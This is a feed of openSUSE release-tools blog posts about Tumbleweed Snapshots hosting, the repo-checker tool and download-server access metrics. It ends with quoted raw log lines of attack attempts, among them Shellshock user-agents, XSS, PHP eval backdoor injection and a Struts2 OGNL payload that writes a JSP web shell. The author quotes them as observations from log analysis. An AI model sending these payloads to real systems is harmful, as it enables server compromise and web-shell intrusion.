Jekyll2018-09-18T23:46:46+00:00http://release-tools.opensuse.org/openSUSE Release ToolsNews about openSUSE release tool improvements and process changes. The release
team can be contacted via opensuse-releaseteam@opensuse.org mailing list or
in freenode.net IRC in the opensuse-factory channel.
Jimmy BerryAnnouncing Tumbleweed Snapshots Official Hosting2018-09-18T00:00:00+00:002018-09-18T00:00:00+00:00http://release-tools.opensuse.org/2018/09/18/Tumbleweed-Snapshots-Official<p>Adapted from <a href="https://lists.opensuse.org/opensuse-factory/2018-09/msg00075.html">announcement to <code class="highlighter-rouge">opensuse-factory</code> mailing list</a>:</p>
<p>Tumbleweed Snapshots, fixed repositories containing previously released versions of Tumbleweed, are now officially hosted on <a href="http://download.opensuse.org/history/">download.opensuse.org</a>! For those not familiar with the Tumbleweed Snapshots concept please see the <a href="https://www.youtube.com/watch?v=CSXRreUjiIc">short introduction video</a> and the <a href="https://www.youtube.com/watch?v=CRszp1p47BM">presentation I gave at oSC18</a>. The overall concept is to allow Tumbleweed to be consumed as short-lived distributions that can be utilized after a new snapshot is published. The two primary benefits are not having to update just to install new packages and being able to sit on an older snapshot when avoiding problematic package updates. The latter working best with snapper rollbacks as it allows for normal system operation after rolling back.</p>
<iframe type="text/html" width="640" height="360" src="https://www.youtube.com/embed/CSXRreUjiIc" frameborder="0" allowfullscreen="allowfullscreen"></iframe>
<p>Given the proper method for updating between snapshots is <code class="highlighter-rouge">zypper dup</code> instead of <code class="highlighter-rouge">zypper up</code> which is normally reserved for updating between major releases of the distribution, like <em>Leap</em>, keeping the previous repositories and switching between them with the use of <code class="highlighter-rouge">dup</code> is quite natural. Given the latest snapshot is accessible and <code class="highlighter-rouge">zypper</code> operates normally there are no down-sides to this approach while providing some important advantages. If you have not already tried them I would encourage you to do so. Many users are already updating <em>Tumbleweed</em> once a week and thus perfectly align with the design of snapshots.</p>
<p>The installation step and basic usage is documented in the <a href="https://github.com/boombatower/tumbleweed-cli"><code class="highlighter-rouge">tumbleweed-cli</code> README</a>. No additional resources are utilized on the local machine. If for whatever reason you want to go back just run <code class="highlighter-rouge">tumbleweed uninit</code> to restore the default repository setup.</p>
<p>If you are already using Tumbleweed Snapshots and would like to switch to the official hosting a migration command is provided in <code class="highlighter-rouge">tumbleweed-cli</code> <code class="highlighter-rouge">0.3.0</code> which will be <a href="https://build.opensuse.org/request/show/636472">included in Tumbleweed shortly</a>. As a side-note, bash completion is also provided!</p>
<p>Once running version <code class="highlighter-rouge">0.3.0</code> (run <code class="highlighter-rouge">tumbleweed --version</code> to see which is installed), simply run <code class="highlighter-rouge">tumbleweed migrate</code>. Keep in mind the official hosting only provides <code class="highlighter-rouge">10</code> snapshots while my personal hosting on S3 provides <code class="highlighter-rouge">50</code>. The count will hopefully be increased in the future, but given how long it has taken to get this far it may be some time. Additionally, my AWS hosting has a CDN setup and will likely remain faster until mirrors decide to host the snapshots. Based on feedback and how things progress I will decide when to stop hosting on AWS, but it will be announced and the <code class="highlighter-rouge">tumbleweed-cli</code> will be changed to auto-migrate.</p>
<p>For those interested, the difference in storage usage can be compared on <a href="https://metrics.opensuse.org">metrics.opensuse.org</a>.</p>
<ul>
<li><a href="https://metrics.opensuse.org/d/osrt_history/osrt-history">Official hosting</a></li>
<li><a href="https://metrics.opensuse.org/d/osrt_tumbleweed_snapshots/tumbleweed-snapshots">Un-official hosting</a></li>
</ul>
<p>Making Tumbleweed Snapshots the default is likely worth considering once everything settles and an appropriate level of adoption by mirrors is reached.</p>
<p>It is encouraging to see the enthusiastic discussions about Tumbleweed Snapshots in IRC and e-mails.</p>
<p>Enjoy!</p>Jimmy BerryAdapted from announcement to opensuse-factory mailing list:Announcing repo-checker for all2018-08-24T00:00:00+00:002018-08-24T00:00:00+00:00http://release-tools.opensuse.org/2018/08/24/repo-checker-for-all<p>Adapted from <a href="https://lists.opensuse.org/opensuse-factory/2018-08/msg00248.html">announcement to <code class="highlighter-rouge">opensuse-factory</code> mailing list</a>:</p>
<p>Ever since the <a href="https://lists.opensuse.org/opensuse-factory/2017-08/msg00165.html">deployment of the new <em>repository checker</em></a>, or <code class="highlighter-rouge">repo-checker</code> as you may be familiar, for <em>Factory</em> last year there have been a variety of requests (<a href="https://lists.opensuse.org/opensuse-packaging/2018-06/msg00022.html">like this one opensuse-packaging</a>) to <a href="https://github.com/openSUSE/openSUSE-release-tools/issues/1210">utilize the tool locally</a>. With the large amount of recent work done to handle arbitrary repository setups, instead of being tied to the staging workflow, this is now possible. This means <em>devel projects</em>, home projects, and <code class="highlighter-rouge">openSUSE:Maintenance</code> can also make use of the tool.</p>
<p>The tool is provided as an rpm package and is included in <em>Leap</em> and <em>Tumbleweed</em>, but to make use of this recent work version <code class="highlighter-rouge">20180821.fa39e68</code> or later is needed. Currently, that is only available from <code class="highlighter-rouge">openSUSE:Tools</code>, but <a href="https://build.opensuse.org/request/show/630991">will be in Tumbleweed</a> shortly. See the <a href="https://github.com/openSUSE/openSUSE-release-tools#installation"><code class="highlighter-rouge">openSUSE-release-tools</code> README</a> for installation instructions. The desired package in this case is <code class="highlighter-rouge">openSUSE-release-tools-repo-checker</code>.</p>
<p>A project has been prepared with an intentionally uninstallable package for demonstration. The following command can be used to review a project and print installation issues detected.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ osrt-repo-checker --debug --dry project_only home:jberry:repo-checker
</code></pre></div></div>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[D] no main-repo defined for home:jberry:repo-checker
[D] found chain to openSUSE:Factory/snapshot via openSUSE_Tumbleweed
[I] checking home:jberry:repo-checker/openSUSE_Tumbleweed@9a77541[2]
[I] mirroring home:jberry:repo-checker/openSUSE_Tumbleweed/x86_64
[I] mirroring openSUSE:Factory/snapshot/x86_64
[I] install check: start (ignore:False, whitelist:0, parse:False, no_filter:False)
[I] install check: failed
9a77541
## openSUSE_Tumbleweed/x86_64
### [install check & file conflicts](/package/view_file/home:jberry:repo-checker/00Meta/repo_checker.openSUSE_Tumbleweed)
<pre>
can't install uninstallable-monster-17-5.1.x86_64:
nothing provides uninstallable-monster-child needed by uninstallable-monster-17-5.1.x86_64
</pre>
</code></pre></div></div>
<p>Note that the tool automatically selected the <code class="highlighter-rouge">openSUSE_Tumbleweed</code> repository since it builds against <code class="highlighter-rouge">openSUSE:Factory/snapshot</code>. The tool will default to selecting the first repository chain that builds against the afore mentioned or <code class="highlighter-rouge">openSUSE:Factory/standard</code>, but can be configured to use any repository.</p>
<p>All OSRT tools can be configured either locally or <em>remotely</em> via an OBS attribute with the local config taking priority. The local config is placed in the <code class="highlighter-rouge">osc</code> config file (either <code class="highlighter-rouge">~/.oscrc</code> or <code class="highlighter-rouge">~/.config/osc/oscrc</code> depending on your setup). Add a new section for the project in question (ex. <code class="highlighter-rouge">[home:jberry:repo-checker]</code>) and place the configuration in that section. The remote config is placed in the <code class="highlighter-rouge">OSRT:Config</code> attribute on the OBS project in question. For example, the <a href="https://build.opensuse.org/attribs/home:jberry:repo-checker">demonstration project has configured the architecture whitelist</a>. The format is the same for both locations.</p>
<p>To indicate the desired repository for review use the <code class="highlighter-rouge">main-repo</code> option. For example, one could set it as follows in the demonstration project.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>main-repo = openSUSE_Leap_42.3
</code></pre></div></div>
<p>The benefit of the remote config is that it will apply to anyone using the tools instead of just your local run.</p>
<p>As mentioned above the list of architectures reviewed can also be controlled. For example, limiting to <code class="highlighter-rouge">x86_64</code> and <code class="highlighter-rouge">i586</code> can be done as follows.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>repo_checker-arch-whitelist = x86_64 i586
</code></pre></div></div>
<p>There are several options available (see the code), but the only other one likely of interest is the no filter option (<code class="highlighter-rouge">repo_checker-no-filter</code>). The no filter option forces all problems to be included in the report instead of only those from the top layer in the repository stack. If one wanted to resolve <a href="https://build.opensuse.org/package/view_file/openSUSE:Factory:Staging/dashboard/repo_checker?expand=1">all the problems in <code class="highlighter-rouge">openSUSE:Factory</code></a> a project with such fixes could be created and reviewed with the no filter option set to <code class="highlighter-rouge">True</code> in order to see what problems remain.</p>
<p>Do note that a local cache of rpm headers will be created in <code class="highlighter-rouge">~/.cache/opensuse-repo-checker</code> which will take just over <code class="highlighter-rouge">2G</code> for <code class="highlighter-rouge">openSUSE:Factory/snapshot</code> for <code class="highlighter-rouge">x86_64</code> alone. You can delete the cache whenever, but be aware the disk space will be used.</p>
<p>Enjoy!</p>Jimmy BerryAdapted from announcement to opensuse-factory mailing list:Announcing download.o.o access metrics2018-06-22T00:00:00+00:002018-06-22T00:00:00+00:00http://release-tools.opensuse.org/2018/06/22/download.o.o-access-metrics<p>Adapted from <a href="https://lists.opensuse.org/opensuse-factory/2018-06/msg00271.html">announcement to <code class="highlighter-rouge">opensuse-factory</code> mailing list</a>:</p>
<p>Adding to the variety of metrics already captured at <a href="https://metrics.opensuse.org">metrics.o.o</a>, I have added <a href="https://metrics.opensuse.org/d/osrt_access/osrt-access">download.o.o access metrics</a>. These metrics are sourced from the <em>Apache access logs</em> produced by the <em>download.o.o</em> machine. The goal of parsing the logs was to provide some insight into product adoption and long-term usage, in addition to overall project health.</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-stacked.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-stacked.png" alt="unique by product (stacked)" /></a></p>
<p>The logs cover data from <em>2018-06-20</em> (and ingested daily going forward) to <em>2010-01-03</em> and amount to roughly 24TB of raw data. After exploring a few tools, like <a href="https://github.com/influxdata/telegraf">telegraf</a> (since commonly paired with <a href="https://github.com/influxdata/influxdb">influxdb</a>), they were found to be lacking in the speed department. For example, <em>telegraf</em> could <a href="https://github.com/influxdata/telegraf/issues/3539">not even handle <em>1000 entries per second</em></a> which would require well over three years to parse the data (reduced to over 6 months using concurrency if it supported that). Influxdb also couldn’t handle the raw data (even a single day) as I had hoped to use it to perform the aggregations. As such, short of finding a magic tool which would still require customization for the custom log fields and meaning I opted to <a href="https://github.com/openSUSE/openSUSE-release-tools/pull/1578">write a tool</a>.</p>
<p>Given the speed sensitive nature of the problem I tested the primary scripting language of the openSUSE release tools, python, and compared it to PHP which I knew is generally faster. A simple test running a “starts with” on each log file line was an order of magnitude faster in PHP and the difference widened the more processing that was added. As such I opted for using PHP which was fast enough for the job while providing scripting language convenience. The end result was ~500,000 entries per second per core with full concurrency supported. Using this solution the last 8 years of data was processed and summarized in ~23 hours using 7 cores of an office machine. Going forward only the last day needs to be summarized which takes a minute or so.</p>
<p>For those interested the 24TB was summarized to roughly 12GB of data which is then aggregated to roughly 8MB in influxdb. The 12GB lives on metrics.o.o in order to aggregate new days against previous data. The tool could be changed to drop data past the largest aggregation interval (ie a month), but if the aggregation algorithm is changed it would require the summary data.</p>
<p>For further details about the tool or to review it see <a href="https://github.com/openSUSE/openSUSE-release-tools/tree/master/metrics/access">metrics/access directory</a> and <em>README</em>.</p>
<p>One of the areas of interest was the number of <em>beta</em> systems <em>Leap</em> receives. The release schedule for the last three releases of <em>Leap</em> may be used to annotate the graphs by enabling the corresponding annotation at the top of the dashboard. The individual product series may also be isolated by clicking the product in the legend (ctrl+click to select more than one to isolate). The time range may also be changed using the tool in the top right (next to refresh button) or by selecting the area on graph (left click, hold, and drag to end of area desired). After focusing on <em>42.2</em> and <em>42.3</em> Beta phase we can see several thousand systems for both, but less for 42.3. It would be interesting to know if that reducing is a result of the rolling release model or something else.</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-beta.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-beta.png" alt="single annotated series of Leap beta access" /></a></p>
<p>One item to note is that, SUSE IPs (such as openQA) are not currently filtered out of the data and as such depending on usage may bump up the beta numbers. This is something I have not yet explored, but should not be too difficult to filter assuming an IP list or user-agent.</p>
<p>The extreme long-tail of systems on old products is interesting and would seemingly indicate either neglected installs, laziness, or fear of updating, but given around a quarter of openSUSE systems are on <a href="https://en.opensuse.org/Lifetime">releases beyond end-of-life</a> it is a bit concerning. :/ It may make sense to add an annotation containing product end of life dates. When compared to the last two versions of <em>Leap</em>, <em>Tumbleweed</em> usage amounts to nearly half of one <em>Leap</em> release or a fifth of systems on supported releases.</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-percentage.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-percentage.png" alt="unique by product (percentage)" /></a></p>
<p>For those interested, in more details there are three collapsed sections at the bottom of the dashboard which contain additional breakdowns of the data and output from the tool. For example, you can see the request counts by unique system by product. Although the averages are reasonable, the maximums are extremely high. Such maximums seemingly indicate either spam or heavy UUID reuse. Changing the aggregation frequency to <em>day</em> shows a very flat series that seemingly indicates automation.</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-average-unique.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-average-unique.png" alt="average per unique" /></a></p>
<p>Another area of interest is the steady increase in ipv6 traffic to roughly 10% of current unique systems.</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-unique-proto.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-unique-proto.png" alt="unique by IP protocol" /></a></p>
<p>The tool output includes the raw log size the metrics represent for the current time interval in addition to the number of invalid entries encountered. From reviewing a large number of the entries marked invalid they indeed are generally bogus, attack attempts, or incomplete requests. If we see a large decline in system counts and huge spike in invalid counts that should be clear there is a problem with the logs or tool going forward, but the most recent numbers, before the log format was broken, show the lowest invalid counts.</p>
<p>The invalid log entry counts line up nicely with the big hole in the data.</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-invalid.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-invalid.png" alt="unique by product (percentage)" /></a></p>
<p>If the time range is change to a year and the aggregation frequency (top left) is changed to a day we can very clearly see the correlation. It is even clear that the day before the big hole is the day the error was made as half the entries are invalid and log size is in between the day before and after.</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-log-size.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-log-size.png" alt="raw log size" /></a></p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-invalid-day.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-invalid-day.png" alt="unique by product (percentage)" /></a></p>
<p>Similarly, if the <em>unique by product (stacked)</em> is reviewed by day another pattern exposes itself. A consistent drop in unique counts by nearly 20%. In other words 20% of systems have weekends. :)</p>
<p><a href="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-stacked-day.png"><img src="http://release-tools.opensuse.org/image/metrics.opensuse.org-access-stacked-day.png" alt="unique by product (stacked)" /></a></p>
<p>Also note that one can export the data as CSV in addition to viewing a graph full screen by clicking on the graph title. I look forward to receiving feedback and insight after people explore the data.</p>
<p>While reviewing some of the raw log data I discovered a fair number of interesting and odd entries. I will summarize some of the highlights below (excluded from mailing list announcement).</p>
<p>Lots and lots of invalid/bogus repositories like <code class="highlighter-rouge">openSUSE_Leap_42.22222</code>, <code class="highlighter-rouge">openSUSE_14.0</code>, or <code class="highlighter-rouge">openSUSE_13.4</code>.</p>
<p>Millions of lines of just <code class="highlighter-rouge">combinedio_redirect</code> as the result of a config problem from <em>2017-12-07</em> to <em>2018-03-08</em>. These entries are correctly shown by extremely high invalid counts during that period Entertainingly, the <code class="highlighter-rouge">systemd-journald</code> took over with 100% CPU utilization trying to process the tool output for each invalid line. As such I disabled logging that particular case.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemd-journald[435]: Suppressed 727678 messages from /system.slice/osrt-metrics-access.service
</code></pre></div></div>
<p>Someone seemed to be using download.o.o as some sort of status check (or DOS attack) as a single Chinese IP rapidly hit the root path over and over back in 2014 for weeks.</p>
<p>Lots of double quoted user-agents presumably from including the quotes in HTTP header which Apache then escapes to place in log quotes. For example, <code class="highlighter-rouge">"\"Privoxy/1.0\""</code>.</p>
<p>Lots of interesting attack attempts using various vectors, but most seemingly trying to utilize either the path or user-agent as a tool for execution either by the web server or log analysis tools.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xxx.xxx.xxx.xxx - - [02/Aug/2017:18:13:17 +0000] "GET /cgi-bin/wa HTTP/1.1" 404 1147 "-" "() { _; } >_[$($())] { echo Content-Type: text/plain ; echo ; echo \"bash_cve_2014_6278 Output : $((10+67))\"; }" g:RU:EU - r:- 541 1577 -:- ASN:- P:- size:- - - "-"
xxx.xxx.xxx.xxx - - [06/May/2018:17:06:39 +0000] "GET /wp-login.php HTTP/1.1" 404 1106 "-" "() { _; } >_[$($())] { echo Content-Type: text/plain ; echo ; echo \"bash_cve_2014_6278 Output : $((77+85))\"; }" want:- give:- r:- - -:- ASN:- P:- 544 1554 size:- -
xxx.xxx.xxx.xxx - - [03/May/2018:13:14:06 +0000] "GET /repositories/Mono/error.php?err=404 HTTP/1.1" 404 1162 "<script>alert(document.cookie);</script>" "\"; system(id);#" want:- give:- r:- - -:- ASN:- P:- 302 1581 size:- -
xxx.xxx.xxx.xxx - - [10/Mar/2018:20:14:52 +0000] "GET /repositories/M17N/SLE_12_SP2/nosrc/ HTTP/1.1" 200 4573 "\";print(md5(acunetix_wvs_security_test));$a=\"" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21" want:file give:- r:- - -:- ASN:0 P:0.0.0.0/0 328 4919 size:- -
xxx.xxx.xxx.xxx - - [01/Dec/2017:04:57:31 +0000] "GET //struts2-showcase/filedownload/index.action?method:%23_memberAccess%[url=mailto:3d@ognl.OgnlContext]3d@ognl.OgnlContext[/url]@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23fos%3dnew%20java.io.FileOutputStream(%23b),%23fos.write(%23parameters.content[0].getBytes()),%23fos.close(),%23hh%3d%23context.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din.read%28b%29%29%21%3D-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E HTTP/1.1" 404 3040 "http://download.opensuse.org//struts2-showcase/filedownload/index.action?method:%23_memberAccess%[url=mailto:3d@ognl.OgnlContext]3d@ognl.OgnlContext[/url]@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23fos%3dnew java.io.FileOutputStream(%23b),%23fos.write(%23parameters.content[0].getBytes()),%23fos.close(),%23hh%3d%23context.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din.read%28b%29%29%21%3D-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html\xa3\xa9" g:CN:AS - r:- 3201 3515 -:- ASN:- P:- size:- - - "-"
xxx.xxx.xxx.xxx - - [01/Dec/2017:04:57:44 +0000] "GET //search.php?searchword=t0p&_GET[cfg_cachemark]=fuck.php.&_GET[cfg_powerby]=Copyright%3C?php%20eval%28$_GET[k]%29;?%3Efucked%20by%20luan HTTP/1.1" 404 1349 "http://download.opensuse.org//search.php?searchword=t0p&_GET[cfg_cachemark]=fuck.php.&_GET[cfg_powerby]=Copyright%3C?php%20eval%28$_GET[k]%29;?%3Efucked%20by%20luan" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html\xa3\xa9" g:CN:AS - r:- 621 1823 -:- ASN:- P:- size:- - - "-"
</code></pre></div></div>
<p>Others seem to be attempting to overload the server with exceptionally long paths or argument counts.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xxx.xxx.xxx.xxx - - [03/May/2018:13:20:59 +0000] "GET ..XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
xxx.xxx.xxx.xxx - - [27/Jul/2017:16:51:37 +0000] "zbzxkb: mcnapbaucegasqalkyqeefxocudfvknbhodelgevfhpttvdsufycqcsbdkgxcrfmlzczxognfnvujmxcnqmbelymcpgaqmxragbclbnrpaoxreiggphubrejfgnqsljfyfxnycqeyjytjypitwmodsyycjkumazewvdaixjftwimkunyutoohtjfmefhxtbkqwlnevzvbkhoomaebxtjchohwurkplovcpezuanahgqldnjcgnempsffvrmbperixoniqmnwhslhalcpsdyrejkprbszxotzmmhytogqwwgrcvrkboghwpvmujoctrihlbsehvwzmbilfsqbhzosanpswpeoyyvtsnhjejfejuyugrdbnhiobdvtqffrijywmxpapfjligqhclcfbgyyqtuaqgrryurhcvirzkicozyzsrdnmvczvtxmcdskcoheiqgzwvwjibqeqbuplwdrjbsywxljarzmkbfxtrnciuocjnbchdvrffpqbzgibehvdfoquzgigmlyoqboaqpnyormfcnelifnogclssnnyucbgkkcldgkumdzttgkroqltwjlygvllixaaatflrrrjzpztyacjiickkwlnjnrjlmkjyjfvhningreciagnbccruefczagekhkujharxtlqzzflaesyneynfpoipqupxkltmedkjsrstoqeouhmbbtpqjkicrajjwdwrhgpwadusqalddrazvqcwkbqgddepxkqowjhdmhgcumlcapmnlowhqmdypecqtfmxhqfvdgnufunzumyuicdgygqerlsgxouesnuvbvtvhbvfwybmwhatkybfxshhbrwsysmjqmrrlrcbdcpibwdnammiivodqqebalqhgdleuultskqzamagedodeybkshdjmyugblnqgnjonmexqoelqbteuwwxsvlyajbaeikabobkqlnbxwwwcrkyibpqjsrcnzvivszjrlcorxhskdylvvnevyqjhtcaebotgpkwhbhpvajyjfaylpseudpgbsmcdkzuvgtpbslsqvtxtfqgruzctsegtyaehftpjstotnjxjxnhpzoduyyhcnnvyjhccvetgtdwwdryflyafkqftdaynoeixszhgfgopqdorxqkatiatdlbfsvwpjjtminhoztmgeg" 400 979 "-" "-" g:CN:AS - r:- 1183 1266 -:- ASN:- P:- size:- - - "-"
xxx.xxx.xxx.xxx - - [01/Dec/2017:04:58:27 +0000] "GET //plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs